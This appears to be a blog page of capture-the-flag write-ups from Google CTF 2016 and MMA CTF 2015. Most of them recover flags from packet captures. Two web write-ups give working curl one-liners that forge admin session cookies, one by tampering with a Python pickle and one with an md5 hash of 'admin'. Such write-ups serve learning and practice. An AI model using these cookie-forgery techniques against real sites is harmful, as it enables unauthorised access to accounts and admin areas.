Showing posts with label wireshark. Show all posts
Showing posts with label wireshark. Show all posts

Tuesday, May 3, 2016

Google CTF 2016 - Various [No Big Deal Pt. 1, In Recorded Conversation, Spotted Quoll, Ernst Echidna]



So I grouped these all together for two main reasons:
  1. I was inspired seeing this short writeup for GeoKitties - https://twitter.com/k_firsov/status/726841516174508033
  2. Write-ups can take some time, so this is a good way of shortening a few challenges into one post.

Quick note about the writeups below:
  • Each of the examples below are one-liner solutions (they may not be the best one-liners because they can be longcat-long, but were fun to make)
  • Each example below has a one-line output including the CTF{...} flag


No Big Deal Pt. 1 (50):

This one was probably one of the easiest challenges (even easier than the 5pt recon) that I came across, strings'ing the pcap gave an obvious base64 encoded value at the end of the dump, which turned into the flag, here's the one-liner:

strings -n 9 no-big-deal.pcap | tail -n 1 | base64 -D

Result:

CTF{betterfs.than.yours}



In Recorded Conversation (25):

The name of this challenge invoked the idea that there was going to be a hidden conversation to find a flag in.  That was exactly it in a pcap!  For this one I didn't open wireshark and decided to jump into more tshark.  This is not my actual solution for the challenge when I was playing (it was a lot more manual), but the same thing would've worked... Usually there's no time to do silly things like tr, sed & multi-massaged-list-comprehensions to get an answer when you're on the CTF clock.

tshark -r irc.pcap -T fields -e data 2>/dev/null | python -c "import sys; a=sys.stdin.read().split('\n'); a=[x.decode('hex') for x in a]; a=[x for x in a if 'PRIVMSG' in x and '~' not in x]; print a" | tr ',' '\n' | grep #ctf | tail -n 8 | head -n 7 | sed 's/.*://g;s/\\.*//g' | tr '\n' ' ' | sed 's/ //g'

Result:

CTF{some_leaks_are_good_leaks_}



Spotted Quoll (50):

This challenge was mainly solved by a team-mate (Unixist), but I helped out a bit with some minor details.  Also formed it into this massive one-liner:

curl -L https://spotted-quoll.ctfcompetition.com/admin --cookie obsoletePickle=$(python -c 'import pickle; x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64")); x["user"] = "admin"; print pickle.dumps(x).encode("base64").replace("\n", "")') 2>/dev/null | grep -i ctf

The challenge consisted of identifying that the cookie was in a python pickle format, dumping the current cookie (base64 encoded) and then noticing the user was set to None, changing it to admin and re-encoding it / sending it off.


Result:

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Ernst Echidna (50):

This challenge was also a very simple web challenge, consisting of a cookie that was set to the md5 value of your username.  The goal was to view the admin section, so a little echo -n admin | md5sum, and we've got our cookie.


curl https://ernst-echidna.ctfcompetition.com/admin --cookie md5-hash=$(echo -n admin | md5) 2>/dev/null | grep -i ctf

Result:

      Congratulations, your token is 'CTF{renaming-a-bunch-of-levels-sure-is-annoying}



These were all simple, but very fun! Had a good time forming the (mostly) one-liners above today.  Let me know if you have any more efficient examples of these in the comments!



Sunday, May 1, 2016

Google CTF 2016 - A Cute Stegosaurus (100)



Description for this challenge was:

Admire our cutest Stegosaurus ever!


They give you a pcap file called stego.pcap, sooooo let's fire up Wireshark and see if a shark can find a dinosaur.


Initially saw a /message.png route being hit, so I decided to see if I could extract that out of the pcap.


In Wireshark, this is really simple, just follow the TCP stream / File > Export Objects > HTTP, and you'll see it pop up with the file seen in the traffic.




Save and open the file and we get:



YESSSSSSs! A Fr'cken Stegosaurus!!!!

Something about this pun in this makes me tear up a bit....
(Also Pro-Tip for trolling stego solvers in the future, add some random artifacts into the image like they mean something, after staring at that dino leg on the right with the seam, I almost thought it could be hidden there... Not sure if it was the caffeine or sleep-deprivation, either way it'll work on someone)


Anyways, down to business.

Running this image through the standard stego tools & photo editing tools got nothing.  Tried a quick sweep through the threshold, bitplanes, alpha, stereograph, etc.  Nothing too interesting was in the exif data either.


So after taking a break on this one and coming back I looked in the packets again to see if anything else was there for carving.

Started to look for any patterns in any part of the packets (being only 2k of them & fairly regular).
Then I stumbled upon this little gem:



What... is this Urgent pointer thing all about ?  Why so Urgent ?

This must be the Nova Microdash of TCP packets.....


So let's see if we can find out what's so urgent.


After going through a few, it looks like they may actually be in the printable character range.  This one was 70, let's convert that, write it down and go to the next one.  The next was 123, these two combined make the characters 'F{' ... going backwards we'll also see 67 & 84 as 'CT'... All of this together is 'CTF{' -- Looks like we're on the right track.


Now I could've probably done this by hand, but I didn't want to, felt a little lazy and also thought it was a good time to explore tshark more.  So in a new terminal I went ahead and executed this command (kinda luckily guessed this one, I'm not very experienced with tshark):

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer

0
0
0
0
0
0
67
0
84
0
70
0
123
0
65
0
110
0
100
0
...


(Cut the output down for brevity) -- The problem with this output is there are all these 0 bytes that are sneaking in to our nice characters we want to extract. We could just grep these out to make life easier:

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer | egrep -vi "^0$"

67
84
70
123
65
110
100
...


There's probably a really cool hacky way to turn these all to chars on the command-line (leave a comment if you know one), but I just threw it in a python script, did some normal vim/sed magic for converting it to a list, and printed out the result:

arr = [
        67,
        84,
        70,
        123,
        65,
        110,
        100,
        95,
        89,
        111,
        117,
        95,
        84,
        104,
        111,
        117,
        103,
        104,
        116,
        95,
        73,
        116,
        95,
        87,
        97,
        115,
        95,
        73,
        110,
        95,
        84,
        104,
        101,
        95,
        80,
        105,
        99,
        116,
        117,
        114,
        101,
        125,
]

print "".join([chr(x) for x in arr])


After running this we get the answer:

CTF{And_You_Thought_It_Was_In_The_Picture}

Learned a lot in this challenge including urgent flags, how evil a stego creator can get (including imagined scenarios that could've been worse), and how to spell Stegosaurus.


Monday, September 7, 2015

MMA CTF 2015 - Stream... (100)


We didn't end up solving this during the competition, but I thought it would be nice to show the challenge and share the process we went through in finding the flag.

It starts with a pcap file which contains many similar packets (parts of the stream).  After sorting by length and following the TCP stream of one, we find some interesting header content.






































Notably we find the "User-Agent" as NSPlayer, "Content-Type" as "application/x-mms-framed", and in the bytes it shows that it's a "Windows Media Video" (WMV) format.

Now the tricky part is figuring out how we can play this content.  We can save the binary data to a file in Wireshark pressing 'Save As' and editing the header out (Also useful to filter out the conversation by the part we care about in the dropdown menu which defaults to Entire Conversation).

After some research it looked like we could just push the data over a server, and use VLC to interpret it as an MMS stream.  Here's a simple guide for OSX users on how to open MMS streams in VLC - http://elearning.etsu.edu/macmmsguide/index.html

The question is, what does our server need to look like?
Apparently not much.

This was done with very little effort and seemed to work fine (simple Node.js server):
m=require; m('http').createServer(function(_, r) {r.end(m('fs').readFileSync("extracted"))}).listen(4444);
Where "extracted" is the binary file we formed from the stream.

Now All we had to do is view the result in VLC: after launching VLC, you can go to File > Open Network, and give it a url.  In this case we're hosting it locally, so we just point it to mms://localhost:4444 (important to use the mms protocol in this situation)

When playing it we get an initial frame of Rainbow Colors!






























Then more of what we're looking for, in a classic MS PAint window ;)





























The Final Flag Being:
MMA{windows_xp_is_too_old_to_create_problem!!}

MMA CTF 2015 - Splitted (30)

This challenge started with a 7z that extracted a pcap.
Launching wireshark, I sort by the length column to check the largest packets captured.

Looks like there's a zip that was transfered, this is probably what we need to extract, also looks like it's in multiple chunks ('splitted').



After naively doing a "Follow TCP Stream" and exporting the data, I realized the segments were in the wrong order.  Notably the "PK" bytes were in the middle, which are part of the magic bytes for a zip file.  Now we need to figure out how to arrange it correctly.  The intuition of where to find this data came from a friend on the team - http://lockboxx.blogspot.com/
On a past challenge he had mentioned there are parts of the packet describing the order in which streams constructed.  Looking a little further I found the "Content-Range" attribute needed to reconstruct the original file.

By the way, if anyone knows of a nice way in python to pull the "Content-Range" section out of the HTTP headers, please leave a comment below, I would love to know!



In this example, we're looking at the 2nd packet in the chain of total split packets.  It shows the Content-Range is 269-937.  Now we just need to export each data portion of the packet to a file.  We'll start by copying the hex representations to a python file and export the zip this way.

By right-clicking on the field underneath "Media Type" we can go to Copy > Bytes > Hex Stream, which will be the representation of bytes in the payload section of this packet only ( A lot nicer than trimming down the header section of each packet ).



Following the "Content-Range" attribute for each packet, we assemble a python file that will export the zip file contained within the capture:


Now we can extract it with unzip, and check what's inside!
Looks like we have a file called flag.psd.
Let's open that up in gimp and see what we've got.



Looks like we've got a blank canvas!  But there's another layer in the psd.  Turning off the first layer, or swapping the layers seems to do the trick.